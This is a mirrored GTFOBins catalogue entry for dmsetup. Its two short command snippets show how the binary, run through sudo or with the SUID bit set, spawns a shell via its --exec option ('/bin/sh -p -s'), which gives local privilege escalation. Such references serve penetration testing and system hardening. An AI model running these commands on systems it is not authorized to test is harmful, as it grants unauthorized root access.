mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
a448ed5c25
* Add dmsetup * fixes
16 lines
334 B
Markdown
16 lines
334 B
Markdown
---
|
|
functions:
|
|
sudo:
|
|
- code: |
|
|
sudo dmsetup create base <<EOF
|
|
0 3534848 linear /dev/loop0 94208
|
|
EOF
|
|
sudo dmsetup ls --exec '/bin/sh -s'
|
|
suid:
|
|
- code: |
|
|
./dmsetup create base <<EOF
|
|
0 3534848 linear /dev/loop0 94208
|
|
EOF
|
|
./dmsetup ls --exec '/bin/sh -p -s'
|
|
---
|